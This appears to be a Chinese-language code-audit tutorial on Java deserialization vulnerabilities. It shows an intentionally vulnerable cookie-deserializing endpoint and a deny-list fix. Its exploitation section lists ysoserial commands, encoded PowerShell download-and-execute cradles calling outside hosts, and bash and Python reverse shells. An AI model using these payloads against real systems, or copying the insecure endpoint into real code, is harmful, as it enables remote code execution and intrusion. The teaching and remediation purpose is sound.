JAVA程式碼審計之java反序列化

語言: CN / TW / HK

一、漏洞原理

Serialization(序列化):將java物件以一連串的位元組儲存在磁碟檔案中的過程,也可以說是儲存java物件狀態的過程

deserialization(反序列化):將儲存在磁碟檔案中的java位元組碼重新轉換成java物件稱為反序列化

Java程式使用ObjectInputStream物件的readObject方法將反序列化資料轉換為java物件。但當輸入的反序列化的資料可被使用者控制,那麼攻擊者即可通過構造惡意輸入,讓反序列化產生非預期 的物件,在此過程中執行構造的任意程式碼。

漏洞程式碼示例

......
//讀取輸入流,並轉換物件
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢復物件
ois.readObject();
ois.close();
Java程式使用ObjectInputStream物件的readObject方法將反序 列化資料轉換為java物件。但當輸入的反序列化的資料可被使用者控 制,那麼攻擊者即可通過構造惡意輸入,讓反序列化產生非預期的 物件,在此過程中執行構造的任意程式碼。

核心程式碼:

/**
 * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
 * Add the result to rememberMe cookie.
 * <p>
 * http://localhost:8080/deserialize/rememberMe/vuln
 */
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
        throws IOException, ClassNotFoundException {

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

    if (null == cookie) {
        return "No rememberMe cookie. Right?";
    }

    String rememberMe = cookie.getValue();
    byte[] decoded = Base64.getDecoder().decode(rememberMe);

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
    ObjectInputStream in = new ObjectInputStream(bytes);
    in.readObject();
    in.close();

    return "Are u ok?";
}
程式碼相對來說也比較簡單使用Java程式中類ObjectInputStream的 readObject方法被用來將資料流反序列化為物件,如果流中的物件 是class,則它的ObjectStreamClass描述符會被讀取,並返回相應 的class物件,ObjectStreamClass包含了類的名稱及 serialVersionUID。

二、利用方式

使用ysoserial.jar生成payload

java -jar ysoserial.jar CommonsCollections5 "cmd /c calc" | base64 -w0  
 
 rememberMe=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMam...

訪問頁面 http://127.0.0.1:8080/deserialize/rememberMe/vuln

(ysoserial.jar是java反序列化工具 集,下載地址:https://github.com/angelwhu/ysoserial)

ysoserial使用poc文件

https://book.hacktricks.xyz/pentesting-web/deserialization#java-http
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload 
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

三、修復方式

修復方式是通過Hook resolveClass來校驗反序列化的類

序列化資料結構可以瞭解到包含了類的名稱及serialVersionUID 的ObjectStreamClass描述符在序列化物件流的前面位置,且在 readObject反序列化時首先會呼叫resolveClass讀取反序列化的 類名,所以這裡通過重寫ObjectInputStream物件的 resolveClass方法即可實現對反序列化類的校驗。這個方法最早 是由IBM的研究人員Pierre Ernst在2013年提出《Look-ahead Java deserialization》

修復程式碼

/**
 * Check deserialize class using black list.
 * <p>
 * http://localhost:8080/deserialize/rememberMe/security
 */
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
        throws IOException, ClassNotFoundException {

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

    if (null == cookie) {
        return "No rememberMe cookie. Right?";
    }
    String rememberMe = cookie.getValue();
    byte[] decoded = Base64.getDecoder().decode(rememberMe);

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);

    try {
        AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException
        in.readObject();
        in.close();
    } catch (InvalidClassException e) {
        logger.info(e.toString());
        return e.toString();
    }

    return "I'm very OK.";
}

跟入後對應程式碼

/**
 * 只允許反序列化SerialObject class
 *
 * 在應用上使用黑白名單校驗方案比較侷限,因為只有使用自己定義的AntObjectInputStream類,進行反序列化才能進行校驗。
 * 類似fastjson通用類的反序列化就不能校驗。
 * 但是RASP是通過HOOK java/io/ObjectInputStream類的resolveClass方法,全域性的檢測白名單。
 *
 */
@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
{
    String className = desc.getName();

    // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
    logger.info("Deserialize class name: " + className);

    String[] denyClasses = {"java.net.InetAddress",
                            "org.apache.commons.collections.Transformer",
                            "org.apache.commons.collections.functors"};

    for (String denyClass : denyClasses) {
        if (className.startsWith(denyClass)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
        }
    }

    return super.resolveClass(desc);
}